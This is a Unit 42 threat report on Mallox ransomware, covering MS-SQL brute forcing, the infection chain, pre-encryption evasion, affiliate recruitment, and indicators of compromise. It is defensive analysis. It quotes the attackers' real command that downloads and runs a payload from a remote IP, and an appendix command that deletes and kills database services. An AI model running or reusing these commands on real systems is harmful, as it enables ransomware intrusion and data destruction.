This was blog written by Lior Rochberger and Shimi Cohen
This post is also available in: 日本語 (Japanese).
Executive Summary
Mallox (aka TargetCompany, FARGO and Tohnichi) is a ransomware strain that targets Microsoft (MS) Windows systems. It has been active since June 2021, and is notable for exploiting unsecured MS-SQL servers as a penetration vector to compromise victims' networks.
Recently, Unit 42 researchers have observed an uptick of Mallox ransomware activities – with an increase of almost 174% compared to the previous year – exploiting MS-SQL servers to distribute the ransomware. Unit 42 incident responders have observed Mallox ransomware using brute forcing, data exfiltration and tools such as network scanners. In addition, we have found indications that the group is working on expanding their operations and recruiting affiliates on hacking forums.
Palo Alto Networks customers receive protections from Mallox ransomware and the techniques discussed in this blog through Cortex XDR, which provides a multilayer defense that includes behavioral threat protection and exploit protection.
Click here to see a video showing Cortex preventing the execution of the Mallox ransomware.
The Advanced WildFire cloud-delivered malware analysis service accurately identifies samples related to Mallox as malicious. Cloud-Delivered Security Services, including Advanced URL Filtering and DNS Security identify domains associated with this group as malicious.
If you believe you have been compromised, the Unit 42 Incident Response team can provide a personalized response.
Related Unit 42 Topics
Ransomware
Overview of Mallox Ransomware
Mallox ransomware, like many other ransomware threat actors, follows the double extortion trend: stealing data before encrypting an organization’s files, and then threatening to publish the stolen data on a leak site as leverage to convince victims to pay the ransom fee.
Figure 1 below displays the Mallox ransomware website on the Tor browser. Though the organizations’ names and logos have been redacted, this is how the group displays the leaked data of its targets.
Figure 1. Mallox website on Tor browser.
Each victim is given a private key to interact with the group and negotiate terms and payment. Figure 2 below presents the chat used for communicating with the group.
Figure 2. Mallox private chat Tor website.
The Mallox ransomware group claims hundreds of victims. While the actual number of victims remains unknown, our telemetry indicates dozens of potential victims worldwide, across multiple industries, including manufacturing, professional and legal services, and wholesale and retail.
Since the beginning of 2023, there has been a constant uptick in Mallox activities. According to our telemetry and data collected from open threat intel sources, in 2023, there has been an increase of approximately 174% in Mallox attacks compared to the latter half of 2022 (see Figure 3).
Figure 3. Mallox attack attempts from the second half of 2022 to the first half of 2023, based on Palo Alto Networks' telemetry.
Initial Access
Since its emergence in 2021, the Mallox group has kept the same approach to gaining initial access: The group targets unsecured MS-SQL servers to infiltrate a network. These attacks start with a dictionary brute force attack, trying a list of known or commonly used passwords against the MS-SQL servers. After gaining access, the attackers use a command line and PowerShell to download the Mallox ransomware payload from a remote server (see Figure 4).
Figure 4. Example of an alert raised in response to a Mallox ransomware dictionary brute force attack, as raised by Cortex XDR and XSIAM.
A command line example used for a Mallox ransomware infection:
1
"\"C:\\Windows\\\\System32\\\\cmd.exe\" /C echo $cl = New-Object System.Net.WebClient > C:\Users\MSSQLS~1\AppData\Local\Temp\updt.ps1 & echo $cl.DownloadFile(\"hxxp://80.66.75[.]36/aRX.exe\", \"C:\Users\MSSQLS~1\AppData\Local\Temp\tzt.exe\") >> %TEMP%\\updt.ps1 & powershell -ExecutionPolicy Bypass C:\Users\MSSQLS~1\AppData\Local\Temp\updt.ps1 & WMIC process call create \"C:\Users\MSSQLS~1\AppData\Local\Temp\tzt.exe\""
This command line does the following:
Downloads the ransomware payload from: hxxp://80.66.75[.]36/aRX.exe, and saves it as tzt.exe
Runs a PowerShell script named updt.ps1
The payload then goes on to do the following (not pictured in the command line script shown above):
Downloads another file named system.bat, and saves it as tzt.bat
The tzt.bat file is used to create a user named SystemHelp and enable the remote desktop (RDP) protocol
Executes the ransomware payload tzt.exe using Windows Management Instrumentation (WMI)
Figure 5 below shows how Cortex XDR and XSIAM detect one of the first phases of the SQL server exploitation, as described above.
Figure 5. SQL server exploitation process tree, as shown by Cortex XDR and XSIAM (set to detect-only mode for testing purposes).
Ransomware Execution
Before any encryption takes place, the ransomware payload attempts multiple actions to ensure successful execution of the ransomware, such as:
Attempts to stop and remove SQL-related services using sc.exe and net.exe (see the Appendix for the full command line). This way, the ransomware can access and encrypt the victim’s file data.
Attempts to delete volume shadows, making it harder to restore files once they are encrypted. See Figure 6 for how this alert appears in Cortex XDR and XSIAM.
Figure 6. Alert for deleting shadow copies, raised by Cortex XDR and XSIAM.
Attempts to clear the application, security, setup and system event logs using Microsoft’s wevtutil command line utility to thwart detection and forensic analysis efforts.
Modifies file permission using the Windows built-in takeown.exe command, denying access to cmd.exe and other key system processes.
Prevents the system administrator from manually loading the System Image Recovery feature using bcdedit.exe.
Attempts to terminate security-related processes and services using taskkill.exe to evade security solutions.
Attempts to bypass the Raccine anti-ransomware product, if present, by deleting its registry key. See Figure 7 for an example of this process.
Figure 7. Deleting the Raccine registry key.
In Figure 8, some of these mentioned activities are shown in the process tree of the ransomware:
Figure 8. A full process tree of the attack, as shown by Cortex XDR and XSIAM (set to detect-only mode for testing purposes).
This investigated sample of Mallox ransomware encrypts files using the ChaCha20 encryption algorithm and appends the .malox extension for the encrypted files. Other file extensions observed were: .FARGO3, .exploit, .avast, .bitenc and .xollam, in addition to the use of victims’ names as the extension. See Figure 9 for an example of encrypted files in Cortex XDR.
Figure 9. Examples of files encrypted by Mallox ransomware, as detected by Cortex XDR (set to detect-only mode).
Mallox leaves a ransom note in every directory on the victim’s drive. This ransom note explains the infection and provides contact information. Figure 10 is an example of one of these ransom notes.
Figure 10. Example of Mallox ransom note.
After execution, the malware deletes itself.
Growing Potential
According to one of its members – as stated in an interview in January 2023 – Mallox is a relatively small and closed group. However, the group appears to be working to expand its operations by recruiting affiliates.
A few days after this interview, a user named Mallx posted on the hacking forum RAMP that the Mallox ransomware group was recruiting affiliates for a new Mallox ransomware-as-a-service (RaaS) affiliate program, as shown in Figure 11.
Figure 11. User Mallx's post on RAMP.
Back in May 2022, a user named RansomR posted on the well-known hacking forum nulled[.]to that the Mallox group was looking for affiliates to join the team. As of June 2023, the option to join is still relevant, according to the comments in the thread.
Figure 12. RansomR's post on Nulled.
If recruitment efforts for their affiliate program succeed, the Mallox group might expand its reach to target more organizations.
Conclusion
The Mallox ransomware group has been more active in the past few months, and their recent recruiting efforts may enable them to attack more organizations if the recruitment drive is successful.
Organizations should implement security best practices and be prepared to defend against the ongoing threat of ransomware. This is true not only for Mallox ransomware but for other opportunistic criminal groups as well.
The Unit 42 team recommends making sure that all internet-facing applications are configured properly and all systems are patched and up to date wherever possible. These measures will help to reduce the attack surface, thereby limiting the exploitation techniques available to attackers.
Deploy an XDR/EDR solution to perform in-memory inspection and detect process injection techniques. Perform threat hunting, looking for signs of unusual behavior related to security product defense evasion, service accounts for lateral movement and domain administrator-related user behavior.
Protections and Mitigations
Palo Alto Networks Cortex XDR detects and prevents file manipulation and other activities performed by Mallox ransomware.
Figure 13. End user notification for blocking the Mallox execution.
Figure 14. Alert for suspicious file modification, raised by the Cortex XDR and XSIAM (set to detect-only mode for testing purposes).
SmartScore, A unique ML-driven scoring engine that translates security investigation methods and their associated data into a hybrid scoring system, scored an incident involving Mallox ransomware at 100, which is its highest level of severity (Figure 15). This type of scoring helps analysts determine which incidents are more urgent and provides context about the reason for the assessment, assisting with prioritization.
Figure 15. SmartScore information about a Mallox ransomware incident.
For Palo Alto Networks customers, our products and services provide the following coverage against Mallox ransomware:
WildFire cloud-based threat analysis service identifies the known samples as malicious.
Advanced URL Filtering and DNS Security identify domains associated with this group as malicious.
Cortex XDR detects user and credential-based threats by analyzing user activity from multiple data sources, including endpoints, network firewalls, Active Directory, identity and access management solutions, and cloud workloads. Cortex XDR also builds behavioral profiles of user activity with machine learning. By comparing new activity to past activity, peer activity and the expected behavior, Cortex XDR detects anomalous activity indicative of credential-based attacks. Cortex XDR also offers the following protections related to the attacks discussed in this post:
Prevents the execution of known malicious malware, and prevents the execution of unknown malware using Behavioral Threat Protection and machine learning based on the Local Analysis module.
Protects against credential gathering tools and techniques using the new Credential Gathering Protection available from Cortex XDR 3.4.
Protects from threat actors dropping and executing commands from webshells using Anti Webshell Protection as of Cortex XDR 3.4.
Protects against exploitation of different vulnerabilities, including ProxyShell, ProxyLogon and OWASSRF, using the Anti-Exploitation modules as well as Behavioral Threat Protection.
Cortex XDR Pro detects post-exploit activity, including credential-based attacks, with Cortex Analytics.
If you think you may have been impacted or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:
North America Toll-Free: 866.486.4842 (866.4.UNIT42)
EMEA: +31.20.299.3130
APAC: +65.6983.8730
Japan: +81.50.1790.0200
Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.
Appendix
Command line Used by Mallox To Stop and Remove SQL-Related Services
"C:\Windows\System32\cmd.exe" / C sc delete "MSSQLFDLauncher" && sc delete "MSSQLSERVER" && sc delete "SQLSERVERAGENT" && sc delete "SQLBrowser" && sc delete "SQLTELEMETRY" && sc delete "MsDtsServer130" && sc delete "SSISTELEMETRY130" && sc delete "SQLWriter" && sc delete "MSSQL$VEEAMSQL2012" && sc delete "SQLAgent$VEEAMSQL2012" && sc delete "MSSQL" && sc delete "SQLAgent" && sc delete "MSSQLServerADHelper100" && sc delete "MSSQLServerOLAPService" && sc delete "MsDtsServer100" && sc delete "ReportServer" && sc delete "SQLTELEMETRY$HL" && sc delete "TMBMServer" && sc delete "MSSQL$PROGID" && sc delete "MSSQL$WOLTERSKLUWER" && sc delete "SQLAgent$PROGID" && sc delete "SQLAgent$WOLTERSKLUWER" && sc delete "MSSQLFDLauncher$OPTIMA" && sc delete "MSSQL$OPTIMA" && sc delete "SQLAgent$OPTIMA" && sc delete "ReportServer$OPTIMA" && sc delete "msftesql$SQLEXPRESS" && sc delete "postgresql-x64-9.4" && rem Kill "SQL" && taskkill - f - im sqlbrowser.exe && taskkill - f - im sqlwriter.exe && taskkill - f - im sqlservr.exe && taskkill - f - im msmdsrv.exe && taskkill - f - im MsDtsSrvr.exe && taskkill - f - im sqlceip.exe && taskkill - f - im fdlauncher.exe && taskkill - f - im Ssms.exe && taskkill - f - im SQLAGENT.EXE && taskkill - f - im fdhost.exe && taskkill - f - im fdlauncher.exe && taskkill - f - im sqlservr.exe && taskkill - f - im ReportingServicesService.exe && taskkill - f - im msftesql.exe && taskkill - f - im pg_ctl.exe && taskkill - f - im postgres.exe
Indicators of Compromise
SHA256 hashes for Mallox ransomware samples:
6c743c890151d0719150246382b5e0158e8abc4a29dd4b2f049ce7d313b1a330
b03f94c61528c9f3731a2e8da4975c072c9ed4e5372d3ec6b0939eebe01e54a4
de9d3e17555e91072919dc700dc7e588cd52617debcad2f764ef9c7fbf6c9f7b
2a549489e2455a2d84295604e29c727dd20d65f5a874209840ce187c35d9a439
1c8b6d5b79d7d909b7ee22cccf8f71c1bd8182eedfb9960c94776620e4543d13
36269d1892283991a9db23492cd8efcd68af74060384b9686219a97f76a9989e
10eea0c13fd1a782c065627e23e7051edc1622f2eae5fbe138725369c12f4b6d
Df30d74ab6600c1532a14c53a7f08f1afd41ec63cf427a4b91b99c3c2524caba
0463277782f9e98b0e7a028cea0f689a81cf080fa0d64d4de8ef4803bb1bf03a
1f793f973fd906f9736aa483c613b82d5d2d7b0e270c5c903704f9665d9e1185
e284ad63a832123240bd40b6c09565fae8525c00ddf308d5b8f5c8ce69ed6b09
e3a0bbd623db2b865fc3520c8d05e8b92016af2e535f0808460295cb8435836a
7c84eafb3b05f0d5316fae610d9404c54ef39383d0fe0e3c07407a26bb9f6750
1276786fc51f3b7e987aa95ebff0a3e1e358ee4e86e2302e472f84710271af7b
f730e83049c7fe81f6e4765ab91efbb7a373751d51fdafe697a4977dc7c1ea11
05194b34f8ff89facdd7b56d05826b08edaec9c6e444bdc32913e02cab01afd4
c599bebc9ae54a54710008042361293d71475e5fbe8f0cbaceb6ee4565a72015
060ed94db064924a90065a5f4efb50f938c52619ca003f096482353e444bd096
90be90ad4fb906574f9e7afe587f0826a71152bfc32cfc665a58877562f2edd4
1b2727af9fc187cd5c932c6defe50b983ad7508b4196ad6c5ff5e96686277c56
a9543bc9612276863fc77b663fa3ff6efb85db69a01baa86c6dfabf73684b5c1
4e00f3e0e09d13e76da56009173098eefafc4ad50806583d5333990fa44e6420
6c109d098a1f44017f3937a71628d9dbd4d2ca8aa266656ee4720c37cc31558e
7f8f1afa1390246409263e606aa05e2896b8d1da7018c534e67ca530a59ebda1
8e54c38bc3585c3163c3e25d037bcf55695c274aaea770f2f59f0a0910a4b572
724aa6dae72829e9812b753d188190e16fb64ac6cd39520897d917cfdccc5122
7164ba41639c8edcd9ff1cf41a806c9a23de566b56a7f34a0205ba1f84575a48
0e1c7ea4148e7473e15a8e55413d6972eec6e24ef365e9f629884f89645de71a
4ed74a205fad15c843174d7d8b30ae60a181e79f31cc30ebc683072f187e4cdd
ee6fd436bf5aff181e3d4b9a944bf644076e902a1bbf622978b5e005522c1f77
ebdcf54719cceddffc3c254b0bfb1a2b2c8a136fa207293dbba8110f066d9c51
9a3050007e1c46e226e7c2c27d4703f63962803863290449193a0d0ca9661b3b
d6c51935d0597b44f45f1b36d65d3b01b6401593f95cb4c2786034072ad89b63
586d4f86615cb3a8709ae1c08dde35087580814c1d1315af3d7b932639ff48e0
8e974a3be94b7748f7971f278160a74d738d5cab2c3088b1492cfbbd05e83e22
3fa36079fdc548db1b5122450c2e4c9e40c37059de116d1c03f6459b13fc2dc4
D15f12a7cf2e8ec3d6fceabfab64956c7e727caab91cff9c664f92b5c8552570
0427a9f68d2385f7d5ba9e9c8e5c7f1b6e829868ef0a8bc89b2f6dae2f2020c4
4cbac922af3cfaba5fa7a3251bd05337bffd9ed0ada77c55bb4f78a041f4ebf2
10f96f64659415e46c3f2f823bdb855aab42d0bfced811c9a3b72aea5f22d880
5ccff9af23c18998221f45396732539d18e330454327d1e7450095c682d8c552
77fdce66e7f909300e4493cbe7055254f7992ba65f9b7445a6755d0dbd9f80a5
ee08e3366c04574f25909494ef276e65e98d54f226c0f8e51922247ca3cfade9
2fd3c8fab2cfaaabf53d6c50e515dd5d1ef6eceeebdd5509c23030c4d54cb014
603846d113ef1f588d9a3a695917191791fbad441f742bcfe797813f9fc5291e
a5085e571857ec54cf9625050dfc29a195dad4d52bea9b69d3f22e33ed636525
9b833d5b4bdbc516e4773c489ced531b13028094ce610e96ebc30d3335458a97
b9e895830878124e20293f477549329d4d8752ff118f4fe893d81b3a30852c0b
cd80506f971b95b3b831cef91bb2ec422b1a27301f26d5deac8e19f163f0839a
c0e35b19f97021416e3724006511afc95d6aa409404e812d8c62b955bc917d3c
342930d44aed72f826a3f0f4a3964158f2bd86fb53703fb3daa6c937b28a53e4
9ee35c6eb97230cd9b61ba32dba7befea4122f89b3747d2389970050a1d019f9
e7e00e0f817fcb305f82aec2e60045fcdb1b334b2621c09133b6b81284002009
e3f63ab8ef91e0c52384c0e3e350db2427c8cb9237355800a3443b341cf8cf4f
f7e8a0eac54dd040e2609546fca263f2c2753802ff57e7c62d5e9ccfa04bdb1a
e7178a4bad4407316b85894307df32fdf85b597455364eb8ec4d407749e852ce
SHA256 hashes for PowerShell scripts Updt.ps1 and Upddt.ps1
dcc9e23fd6ac926eb9ee7e0ee422dacd2059b4a42c8642d32bdf4f5c8eb33f6a
fead3d518752ddb4d2407f16ca5f3c9b3c0bf01972a2618369d02913f7c6af1a
0901a9920c9f0c74fb2170524477693d62c8493715520ae95143abd8055e7a39
ba97fd533e8a552664695434227b24ca1e2e661c360a7a0a40ff59ba6b8fe949
53da732df7599f5ad21a26b669500788a827f3a8358dcdca10997d2b8187c95c
189c9c4603defb14fa8c942f5ff7814804654269917640478686530f91c4b66c
fd0030883b9e74b383ee6381a2aaa7e2e5b93a00003b555e2f7c8b7be65ab176
d22b3218c4b7f13fe114854d1dbda02c3ad94a1b6c69daa1cf6a504ada8b8bca
b6447b0636085fcb41fd574e84500958f21dfe87fe06b0813fb9399d63f28851
5c34f6fa6eada3197404bf95eced9d288688537598629158a4f4e18d6882cb9b
d81b0425d4ec49bad194b8dc750524c2a29994fe972e733376349f47961cfa62
System.bat
1e2515efb64200258752d785863fd35df6039441a80cb615dfff4fbdffb484ec
777a5782426e5b42e0e5e8445dd9602d123e8acc27aca4daa8e9c053f3d5b899
9e3684be0b4c2dc93f962c03275e050fed57d9be6411396f51bdf8d4bb5e21c0
cb47327c7cce30cff8962c48fa3b51e57e331e1592ea78b21589164c5396ccd9
IP addresses related to Mallox ransomware activity
103.96.72[.]140
80.66.75[.]36
80.66.75[.]37
80.66.75[.]126
80.66.75[.]116
92.118.148[.]227
62.122.184[.]113
87.251.64[.]245
119.3.125[.]197
49.235.255[.]219
80.66.75[.]55
87.251.67[.]92
121.4.69[.]26
124.223.11[.]169
45.93.201[.]74
80.66.75[.]135
194.26.135[.]44
80.66.75[.]51
89.117.55[.]149
5.181.86[.]241
185.170.144[.]153
Additional Resources
Ransomware Spotlight: TargetCompany – Trend Micro
Xollam, the Latest Face of TargetCompany – Trend Micro
Mallox Ransomware – K7 Security Labs, Blog
FARGO Ransomware (Mallox) Being Distributed to Unsecured MS-SQL Servers – ASEC Blog, AhnLab
Interview With Mallox Ransomware Group – SuspectFile
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